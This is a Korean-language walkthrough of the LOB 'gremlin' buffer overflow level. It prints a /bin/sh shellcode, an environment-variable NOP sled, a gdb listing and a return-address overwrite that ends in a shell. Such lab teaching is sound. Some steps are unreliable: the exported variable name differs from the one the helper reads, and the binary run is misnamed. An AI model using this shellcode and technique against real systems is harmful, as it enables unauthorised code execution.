버퍼 오버플로우 공격을 할 때 변수의 크기가 쉘 코드가 들어갈 만큼 충분히 크기 않을 때가 있습니다.
이럴 경우 환경 변수를 이용하여 공격을 할 수 있습니다.
[LOB] gremlin 문제로 실습을 해보면
int main(int argc, char *argv[])
{
char buffer[16];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
취약한 함수인 strcpy(buffer, argv[1]) 함수를 사용했기 때문에 버퍼 오버플로우 공격이 가능합니다.
하지만 buffer 변수를 보면 크기가 쉘 코드를 저장할 만큼 충분히 크기자 않습니다.
그래서 환경 변수를 이용하여 BOF를 해보겠습니다.
먼저 환경변수에 NOP + shellcode를 저장하고
export EGG=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
그 주소를 출력해보면
#include <stdio.h>
int main() {
printf("Shellcode: %p\n", getenv("Shellcode"));
}
[gremlin@localhost gremlin]$ ./getenv
Shellcode: 0xbffffe3b
다음으로 gdb로 프로그램의 메모리 구조를 파악해보면
0x8048430 <main>: push %ebp
0x8048431 <main+1>: mov %ebp,%esp
0x8048433 <main+3>: sub %esp,16 // 16 Byte 크기의 공간 할당
0x8048453 <main+35>: mov %eax,DWORD PTR [%ebp+12]
0x8048456 <main+38>: add %eax,4
0x8048459 <main+41>: mov %edx,DWORD PTR [%eax]
0x80483d3 <main+11>: push %edx //push argv[1]
0x804845c <main+44>: lea %eax,[%ebp-16]
0x804845f <main+47>: push %eax // push buffer
0x8048460 <main+48>: call 0x8048370 <strcpy> // strcpy(buffer, argv[1])
0x8048465 <main+53>: add %esp,8
RET 전까지 NOP로 스택을 덮어주고 RET에 쉘 코드가 있는 환경변수의 주소를 넣어 공격을 하면 됩니다.
exploit code를 짜보면
NOP[20] + Shellcode_Addr[4]
`python -c 'print "\x90"*20+"\x3b\xfe\xff\xbf"'`
exploit code를 실행시켜보면
[gremlin@localhost gremlin]$ ./cobolt `python -c 'print "\x90"*20+"\x3b\xfe\xff\xbf"'`
��������������������;���
bash$
공격에 성공해서 쉘이 떴습니다.